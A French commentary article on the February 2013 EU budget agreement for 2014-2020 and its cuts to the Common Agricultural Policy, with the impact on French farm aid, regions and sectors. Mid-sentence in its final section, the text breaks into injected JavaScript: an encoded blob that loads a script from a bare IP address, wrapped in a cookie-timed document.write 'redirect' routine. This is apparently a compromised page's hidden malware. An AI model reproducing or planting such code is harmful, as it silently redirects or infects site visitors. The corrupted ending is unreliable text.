Après l’échec de novembre dernier, le sommet du conseil des 7 et 8 février 2013 aura été le bon pour trouver un compromis sur le budget européen pour les années 2014-2020. Caractérisé par un contexte de crise économique et budgétaire, c’est un budget à minima où chacun pourra s’enorgueillir d’avoir préservé l’essentiel de ses intérêts nationaux. Un mauvais accord valait probablement mieux qu’une absence d’accord : Reste le nécessaire vote du Parlement Européen pour l’entériner.
Un budget européen en baisse : Première historique pour cette institution de 50 ans
L’Union Européenne qui ne pouvait sans doute pas se permettre de rentrer dans une nouvelle crise politique, devra s’en contenter : « Petit accord, Petit budget pour une Petite Europe ». Le tournant de la rigueur à l’œuvre dans tous les Etats-Membres n’aura pas échappé à l’UE, en fixant un budget de 908 milliards d’Euros (960 M€ en crédit d’engagement) soit le seuil symbolique du 1% du PIB Européen.
Pour la première fois, l’Union Européenne sera ainsi dotée d’un budget en baisse au lendemain de ses 50 ans. Au-delà du montant, la lecture de ce compromis illustre également « l’étroitesse » de l’esprit européen d’une grande partie des acteurs. Les dirigeants peuvent retourner sereins sur leur territoire : Le Royaume-Uni a globalement sauvé son chèque, les Allemands ont joué leur partition pour limiter leur contribution, et la France sauve les meubles en « préservant » la PAC.
Au final c’est bien un compromis d’intérêts nationaux au détriment de tout projet européen.
Le retour des nationalismes perçu ses derniers temps trouve ici une victoire. En effet si tous les budgets sont en baisse, les plus structurants pour le développement, la croissance et la consolidation européenne sont les plus grands perdants au regard des belles ambitions affichées. En 2010, le projet « Europe 2020 » visait à développer une croissance « intelligente, durable et inclusive » en s’appuyant sur une plus grande coordination entre les politiques nationales et européennes. L’accord budgétaire du 8 février dernier vient d’en signer un beau coup d’arrêt.
Le parlement en arbitre
Reste néanmoins à ce que le Parlement Européen valide l’ensemble puisqu’il est co-décisionnaire. La réaction à chaud des 4 groupes politiques du Parlement n’a pas tardé pour annoncer qu’ils ne pouvaient pas accepter l’accord « en l’état ».
Martin Schulz, son président, envisage même un vote à bulletin secret, histoire de sortir des pressions nationales ou partisanes. Les parlementaires souhaiteraient notamment plus de « souplesse entre les catégories de dépenses et les budgets annuels », afin que les députés aient la liberté de s’adapter aux circonstances.
Un budget PAC en fort recul, mais moins que prévu
Entre le verre à moitié plein ou le verre à moitié vide, François HOLLANDE pourra répondre que la bouteille de la PAC avait déjà été renversée par la Commission. Finalement, le Budget de la PAC issu de l’accord du 8 février ressort avec un – 11% à un peu plus de 373 Milliards d’€ pour la période 2014-2020 contre 421 M€ pour 2007-2013. Ventilée entre les Paiement Directs pour près de 278 M€ et du Développement rural pour 85 M€, la dotation annuelle pour l’Agriculture Européenne sera d’un peu plus de 53 M€ (contre 60 M€ actuellement) dont 40 Milliards d’euros pour les paiements directs qui reculent de 8 milliards.
Budget PAC pour la France : 1 milliard en moins sur les aides et un bonus équivalent côté développement rural
Avec la ponction réalisée sur le budget PAC, la dotation française de l’enveloppe des paiements directs s’annonce en recul de 1 milliard sur les 8 initiaux. Aussi, cela pourrait induire une baisse de plus de 12% du montant des aides versées dès 2014.
Une des nombreuses clés de l’accord global du 8 février est probablement aussi à rechercher du côté du développement rural où la France a obtenu de ses partenaires un bonus équivalent de 1 milliard d’€ (de même que l’Italie pour 1,5 milliard). En globalisant le paquet « PAC », le gouvernement pourra afficher une conquête relative.
Une PAC à la carte qui pourrait faciliter un accord
Même s’il faut attendre une validation après quelques adaptations éventuelles de la part du Parlement Européen sur ce budget européen, le plus dur semble passé du côté de Bruxelles. Reste un accord à trouver sur la PAC.
Certaines propositions sur la PAC de la commission seront très certainement édulcorées mais la subsidiarité et les options en termes de couplage et de soutiens différenciés (Territoires) apparaissent si nombreuses qu’un accord rapide derrière le vote définitif du budget n’est pas à exclure.
Néanmoins, comme l’a annoncé le porte parole du commissaire CIOLOS à l’Agriculture, un report d’un an de l’application du volet « aides directes » semble inéluctable. 2014 pourrait alors être la seule année avec des vieilles aides (DPU historique) et un nouveau budget (en forte baisse).
De vifs débats à venir en France et en régions sur le partage du grisbi…
Un budget PAC en baisse sensible, des obligations de convergence, des possibilités de « coupler » jusqu’à 10% de l’enveloppe nationale, les arbitrages sous contraintes ne manqueront pas pour les décideurs politiques : gouvernement et profession.
Une fois les règles du jeu établies, les acteurs ne vont pas manquer de sortir du bois. Les calculettes sont déjà sorties et les simulations en cours.
– Au niveau des territoires : Certains territoires bien dotés en DPU (voir carte ci-contre) tenteront de prévenir tout risque d’une harmonisation nationale du montant du futur paiement de base appelé à remplacer le Droit au paiement unique (DPU) et appelleront de leur vœux à une « décentralisation » des soutiens au plus près du terrain tandis que d’autres moins bien servis, pousseront en faveur d’une équité nationale. Mais la question du périmètre de convergence des aides (France, région, département) ne réglera pas tout partout. Certains écarts demeurant conséquent au sein d’un même bassin de production. Autre enjeu territorial, l’appartenance de tel ou tel canton à une zone de handicap naturel, dispositif qui pourrait ponctionner jusqu’à 5% de l’enveloppe nationale des aides directes.
– Au niveau des filières : La même problématique traversera les secteurs de production : une application de la réforme sans correctif reviendrait à faire subir à l’élevage laitier une diminution de leur soutien relativement plus forte que le secteur des cultures.
Le ministre de l’Agriculture ayant déjà annoncé qu’il n’entendait pas appliquer la réforme de la PAC au détriment de l’élevage et des systèmes de polycultures-élevage, la guerre des filières aura bien lieu. L’idée avancée par la France à Bruxelles de majorer les 50 premiers hectares de toutes les exploitations pourrait avoir un effet « redistributif » assez conséquent : Et pour redistribuer il faudra ponctionner.
– Au niveau des systèmes :
La bataille des lobbys aura aussi lieu au niveau des soutiens couplés : Faute de pression à l’OMC (Organisation Mondiale du Commerce), la possibilité laissée à la France de consacrer jusqu’à 10% de sa dotation zRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘